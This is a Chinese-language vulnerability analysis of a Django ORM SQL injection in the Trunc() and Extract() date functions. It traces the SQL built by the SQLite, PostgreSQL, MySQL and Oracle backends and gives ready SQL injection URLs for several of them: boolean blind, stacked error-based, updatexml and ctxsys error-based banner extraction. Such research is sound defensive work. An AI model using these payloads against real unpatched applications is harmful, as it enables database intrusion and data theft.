Django 这个漏洞 p 牛在小密圈里发过一些分析,有谈到过不同数据库的情况下,漏洞存在情况有异,其他复现的文章我也多少阅读过,大多是 PostgreSQL 和 MYSQL 的,并且有些仅谈到了其中一个漏洞函数,笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和 SQLite,payload 的构造也不尽相同,就想着自己搭建环境调试看看具体情况。
由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢。
环境使用的是作者提供的样例(基于官方文档的例子),当然 p 牛的 vulhub 也建议读者去复现一下(Trunc 的回显是非常直观的),如果读者有改动数据库的需求的话,直接在 settings.py 文件中修改 DATABASE
即可,笔者的配置如下,具体请根据注释修改。
# SQLite 配置 # Django 默认数据库 SQLite DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # PostgreSQL 配置 # 需要先 pip install psycopg2 # 如果有问题,请走 https://github.com/psycopg/psycopg2 # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.postgresql', # 'NAME': '你的数据库名称', # 'USER': '数据库用户名', # 'PASSWORD': '数据库密码', # 'HOST': '127.0.0.1', # 'PORT': '默认是5432,视读者实际安装端口修改', # } # } # MYSQL 配置 # 需要先 pip install mysqlclient # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.mysql', # 'NAME': '你的数据库名称', # 'HOST': 'localhost', # 'PORT': '3306', # 'USER': '数据库用户名', # "PASSWORD": '数据库密码', # } # } # Oracle 配置 # Oracle 的写法有两种,新安装的读者可以直接套用以下配置 # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.oracle', # 'NAME': 'localhost:1521/orcl', # 'USER': 'system', # 'PASSWORD': '数据库密码', # } # }
修改完后,根据自己的 appname 填入,执行以下命令生成实验表即可(如果你是用了作者的环境,直接执行第三条即可)。
python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate
VS 调试的话,配置 launch.json 中的 justMyCode
记得改为 false
才能调试到 Django 中的代码:
在受影响的 Django 版本中,如果 ORM 日期函数 Trunc()
(其中参数 kind
)和 Extract()
(其中参数 lookup_name
),在业务逻辑中前端页面没有进行输入过滤、转义,则可构造恶意 payload 导致 SQL 注入攻击。
将 lookup_name
和 kind
限制在已知安全列表中的应用程序不受影响。
官方通告:Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django (djangoproject.com)
简单来说 Extract()
通常用于提取日期一部分,比如我想要获取新海诚所有动漫电影上映的年份,侧重的是日期。
而 Trunc()
是聚合函数,常常用在统计某个日期的一部分所发生的事或者某一数据,比如我想要获取 2019 年上映了多少动漫电影、9 月某部电影的票房多少等等,侧重的是数据。
以下是官方文档的介绍供补充:
Extract()
常用于提取日期的一个组成部分作为一个数字。具体参数设置:
lookup_name
设置不同值的结果:上面的每个
lookup_name
都有一个相应的Extract
子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如,使用ExtractYear(...)
而不是Extract(...,lookup_name='year')
。
Trunc()
用于截断日期的某一部分,它及其子类通常用于过滤或汇总数据(关心某事是否发生在某年、某小时或某天,而不关心确切的秒数时),比如用来计算每天的销售量。具体参数设置:
kind
设置不同值的结果:同样的,以上每个
kind
都有一个对应的Trunc
子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如使用TruncYear(...)
而不是Trunc(...,kind='year')
。
首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name
和 Trunc 中的 kind
这两个参数,这俩在调试过程中发现其实就是 lookup_type
。
因为具体过程比较复杂,在省略了一系列包括使用 F()
对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:
django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)
django\db\models\query.py ->class QuerySet
Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。
django\db\models\functions\datetime.py -> as_sql
as_sql
用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle
。
django\db\models\sql\compiler.py -> class SQLCompile -> compile
compile
为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。
django\db\models\lookups.py -> Lookup
最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASES
中 ENGINE
对应的配置)中的 datetime_extract_sql
以及 datetime_trunc_sql
方法对于 lookup_type
这个参数的处理来判断是否存在漏洞。
以下调试部分都基于上面总结的过程来进行分析。
def datetime_extract_sql(self, lookup_type, field_name, tzname): return "django_datetime_extract('%s', %s, %s, %s)" % ( lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname), ) def datetime_trunc_sql(self, lookup_type, field_name, tzname): return "django_datetime_trunc('%s', %s, %s, %s)" % ( lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname), )
可以看到只是将值变小写了。
先看正常测试查询结果:
调试过程中获取到 sql 语句如下:
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment"
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))
调试中看到 year 作为 payload 拼接进语句,此前是毫无过滤的,因此造成了注入。
Trunc 函数的 sql 语句:
django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL) -- 查询语句 SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))
由上可构造 poc(Extract 和 Trunc 的构造类同):
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +
以上回显不同,可以使用盲注,另外 SQLite 没有 IF,用 CASE WHEN
即可。
def datetime_extract_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) return self.date_extract_sql(lookup_type, field_name) def datetime_trunc_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)
date_extract_sql
def date_extract_sql(self, lookup_type, field_name): ... else: # 进入这个分支 return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
Extract 的 sql 语句:
调试获取到的 sql 语句如下:
EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')
Trunc 的 sql 语句:
DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"); -- 查询语句如下 SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))
由上构造 payload:
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
报错注入如下:
因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。
def datetime_extract_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) return self.date_extract_sql(lookup_type, field_name) def datetime_trunc_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) fields = ["year", "month", "day", "hour", "minute", "second"] # 可以看到 fields 都有对应的 format 填充 format = ( "%%Y-", "%%m", "-%%d", " %%H:", "%%i", ":%%s", ) # Use double percents to escape. format_def = ("0000-", "01", "-01", " 00:", "00", ":00") if lookup_type == "quarter": return ( "CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + " "INTERVAL QUARTER({field_name}) QUARTER - " + "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)" ).format(field_name=field_name) if lookup_type == "week": return ( "CAST(DATE_FORMAT(DATE_SUB({field_name}, " "INTERVAL WEEKDAY({field_name}) DAY), " "'%%Y-%%m-%%d 00:00:00') AS DATETIME)" ).format(field_name=field_name) try: i = fields.index(lookup_type) + 1 except ValueError: sql = field_name else: format_str = "".join(format[:i] + format_def[i:]) sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str) return sql
就上面的来看 Trunc 是不存在漏洞的,都用对应 format 格式字符串代替了,来看 Extract 调用的 date_extract_sql
:
def date_extract_sql(self, lookup_type, field_name): ... else: # EXTRACT returns 1-53 based on ISO-8601 for the week number. # 进入这个分支 return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
不过是将值变为了大写。
下面调试获取 sql 语句看看:
调试获取到 EXTRACT sql 语句如下:
EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)
注意 MYSQL 中拼接没用单双引号。
payload 构造:
/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +
接下来测试 Trunc 函数:
调试获取到的 sql 语句如下:
CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME) -- 查询语句 SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment` WHERE DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21
可以看到与代码对应了,故 MYSQL 后端 Trunc 函数并不存在该漏洞。
def datetime_extract_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) return self.date_extract_sql(lookup_type, field_name) def datetime_trunc_sql(self, lookup_type, field_name, tzname): field_name = self._convert_field_to_tz(field_name, tzname) # https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html if lookup_type in ("year", "month"): sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper()) elif lookup_type == "quarter": sql = "TRUNC(%s, 'Q')" % field_name elif lookup_type == "week": sql = "TRUNC(%s, 'IW')" % field_name elif lookup_type == "day": sql = "TRUNC(%s)" % field_name elif lookup_type == "hour": sql = "TRUNC(%s, 'HH24')" % field_name elif lookup_type == "minute": sql = "TRUNC(%s, 'MI')" % field_name else: # 进入这个分支 sql = ( "CAST(%s AS DATE)" % field_name ) # Cast to DATE removes sub-second precision. return sql
可以看到 Trunc 是不存在的,拼接进去的只有 field_name,date_extract_sql
还是老样子改了个大写:
def date_extract_sql(self, lookup_type, field_name): ... else: # 进入这个分支 # https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
Extract 调试:
调试获取到的 sql 语句:
EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")
payload 可类似构造如下(Oracle 不能堆叠注入):
/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +
接下来测试 Trunc 函数:
sql 语句如下:
TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))
没有 lookup_type
拼接入,所以 Oracle 后端 Trunc 也是不存在漏洞的。
由上审计调试过程可以得出一个结论——在 Django 影响版本下, Extract 在常用四大数据库中是都存在漏洞的,而 Trunc 在 Oracle 和 MYSQL 作为后端数据库时并不存在漏洞,其他比如 MariaDB 是同 MYSQL 共享后端的,漏洞存在情况应同 MYSQL 一致,而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同,这些都要具体情况具体分析了。
来看看是怎么修复的:
可以看到在 base 模块(因为 Django 是子类化内置数据库后端的)加了一个正则匹配,而之后在 as_sql
生成 sql 片段时就做了一个判断,提前做好了过滤:
数据库函数 | Django 文档 | Django (djangoproject.com)
GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django)
以及 p 牛在《代码审计》知识星球中的分析。